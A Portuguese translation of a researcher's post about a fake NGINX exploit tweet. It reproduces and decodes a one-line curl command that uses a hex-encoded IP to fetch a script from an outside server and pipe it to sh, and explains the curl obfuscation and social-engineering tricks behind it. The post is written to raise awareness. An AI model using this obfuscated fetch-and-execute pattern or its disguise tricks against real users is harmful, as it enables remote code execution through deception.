Nota perev. : O autor do artigo original, publicado em 1º de junho, decidiu realizar um experimento entre os interessados em segurança da informação. Para fazer isso, ele preparou uma exploração falsa para uma vulnerabilidade não revelada no servidor da web e a publicou em seu twitter. Suas suposições - para serem instantaneamente expostas por especialistas que veem uma fraude óbvia no código - não se tornaram realidade ... Eles superaram todas as expectativas e na direção oposta: o tweet recebeu grande apoio de inúmeras pessoas que não verificaram seu conteúdo.
TL; DR: nunca use pipelining de arquivo em sh ou bash. Essa é uma ótima maneira de perder o controle do seu computador. Quero compartilhar com vocês uma pequena história sobre a exploração cômica do PoC criada em 31 de maio. Ele apareceu prontamente em resposta às notícias de
Alisa Esage Shevchenko , membro da
Zero Day Initiative (ZDI), que informações sobre a vulnerabilidade no NGINX que leva ao RCE (execução remota de código) logo seriam reveladas. Como o NGINX é a base de muitos sites, a notícia deveria produzir o efeito de uma bomba explodindo. Porém, devido a atrasos no processo de "divulgação responsável" de informações, os detalhes do que aconteceu não eram conhecidos - este é o procedimento padrão da ZDI.
Tweet de divulgação de vulnerabilidades do NGINXTendo terminado o trabalho na nova técnica de ofuscação em curl, citei o tweet original e "vazei o PoC de trabalho", consistindo em uma linha de código supostamente usando a vulnerabilidade descoberta. Claro, era um absurdo completo. Eu pensei que eles me levariam imediatamente a água limpa e que, na melhor das hipóteses, eu receberia alguns retweets (ok).
Tweet falso de exploraçãoNo entanto, eu não conseguia imaginar o que aconteceu a seguir. A popularidade do meu tweet disparou. Surpreendentemente, no momento (15:00, horário de Moscou, em 1º de junho), até agora poucos perceberam que isso é falso. Muitos o retweetam sem checá-lo (sem mencionar a admiração dos belos gráficos ASCII que ele exibe).
Basta olhar que beleza!Embora todos esses loops e cores sejam maravilhosos, é claro: para vê-los, as pessoas executavam o código em suas máquinas. Felizmente, os navegadores funcionam de maneira semelhante e, combinado com o fato de eu não precisar de problemas legais, o código oculto no meu site apenas fez chamadas de eco sem tentar instalar ou executar nenhum código adicional.
Uma pequena digressão:
netspooky ,
dnz , eu e outros caras da equipe
Thugcrowd brincamos com várias maneiras de ofuscar os comandos de curl há algum tempo, porque é legal ... e nós somos nerds. netspooky e dnz descobriram várias maneiras novas que me pareciam extremamente promissoras. Entrei na diversão e tentei adicionar conversões decimais de IP a um conjunto de truques. Descobriu-se que o IP também pode ser convertido em hexadecimal. Além disso, o curl e a maioria das outras ferramentas NIX gostam de comer IPs hexadecimais! Assim, tudo o que era necessário era simplesmente criar uma linha de comando convincente e segura. Eu finalmente decidi sobre isso:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00\<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Engenharia Socioeletrônica (SEE) - mais do que apenas phishing
Segurança e hábito foram a parte principal deste experimento. Eu acho que foram eles que levaram ao seu sucesso. A linha de comando implicava explicitamente em segurança, referindo-se a "127.0.0.1" (o conhecido host local). Acredita-se que o host local seja seguro e os dados nele nunca saiam do seu computador.
A habitabilidade foi o segundo componente essencial do experimento. Como o público-alvo consistia principalmente de pessoas familiarizadas com os conceitos básicos de segurança de computadores, era importante criar um código que suas partes parecessem familiares e familiares (e, portanto, seguras). Emprestar elementos de conceitos antigos de exploração e combiná-los de uma maneira incomum tem sido muito bem-sucedido.
Abaixo está uma análise detalhada de uma única linha.
Tudo nesta lista é cosmético por natureza e praticamente nada é necessário para o seu trabalho real.Quais componentes são realmente necessários? Esses são
-gsS
,
-O 0x0238f06a
,
|sh
e o próprio servidor da web. O servidor da Web não continha instruções maliciosas, mas simplesmente transferiu os gráficos ASCII usando comandos
echo
no script contido em
index.html
. Quando o usuário digitou uma linha com
|sh
no meio,
index.html
foi carregado e executado. Felizmente, os detentores de servidores da web não tinham más intenções.
../../../%00
- representa uma saída fora do diretório;ngx_stream_module.so
- caminho para o módulo NGINX aleatório;/bin/sh%00\<'protocol:TCP'
- supostamente rodamos /bin/sh
na máquina de destino e redirecionamos a saída para o canal TCP;-O 0x0238f06a#PLToffset
- um ingrediente secreto suplementado por #PLToffset
para parecer um deslocamento de memória de alguma forma contido no PLT;|sh;
- Outra peça importante. Precisávamos redirecionar a saída para sh / bash para executar o código proveniente do servidor da Web atacante localizado em 0x0238f06a
( 2.56.240.x
);nc /dev/tcp/localhost
- um manequim no qual netcat se refere a /dev/tcp/localhost
para que tudo pareça seguro novamente. De fato, não faz nada e está incluído na linha da beleza.
Isso conclui a decodificação de um script de uma linha e a discussão de aspectos da "engenharia socioeletrônica" (phishing intrincado).
Configuração e contramedidas do servidor da Web
Como a grande maioria dos meus assinantes é de segurança da informação / hackers, decidi tornar o servidor da Web um pouco mais resistente às manifestações de "interesse" da parte deles, apenas para que os caras tivessem algo a fazer (e foi divertido configurá-lo). Não vou listar todas as armadilhas aqui, pois o experimento ainda está em andamento, mas aqui estão algumas coisas que o servidor faz:
- Monitora ativamente as tentativas de distribuição em determinadas redes sociais e substitui várias miniaturas de visualização para incentivar o usuário a seguir o link.
- Redireciona Chrome / Mozilla / Safari / etc. para o vídeo promocional do Thugcrowd em vez de mostrar o script do shell.
- Ele monitora sinais óbvios de invasão / invasão, após o que começa a redirecionar solicitações para servidores da NSA (ha!).
- Instala o Trojan, bem como o BIOS do rootkit, em todos os computadores cujos usuários visitam o host a partir de um navegador comum (piada!).
Uma pequena parte do antímeroNesse caso, meu único objetivo era aprender alguns dos recursos do Apache - em particular, regras legais para redirecionar solicitações - e pensei: por que não?
Exploração NGINX (real!)
Siga @alisaesage no Twitter e fique atento ao excelente trabalho da ZDI na resolução de vulnerabilidades muito reais e na exploração de oportunidades no NGINX. O trabalho deles sempre me fascinou e agradeço a Alice pela paciência com todas as menções e notificações causadas por meu tweet idiota. Felizmente, trouxe alguns benefícios: ajudou a aumentar a conscientização sobre as vulnerabilidades do NGINX, bem como os problemas causados pelo abuso de cachos.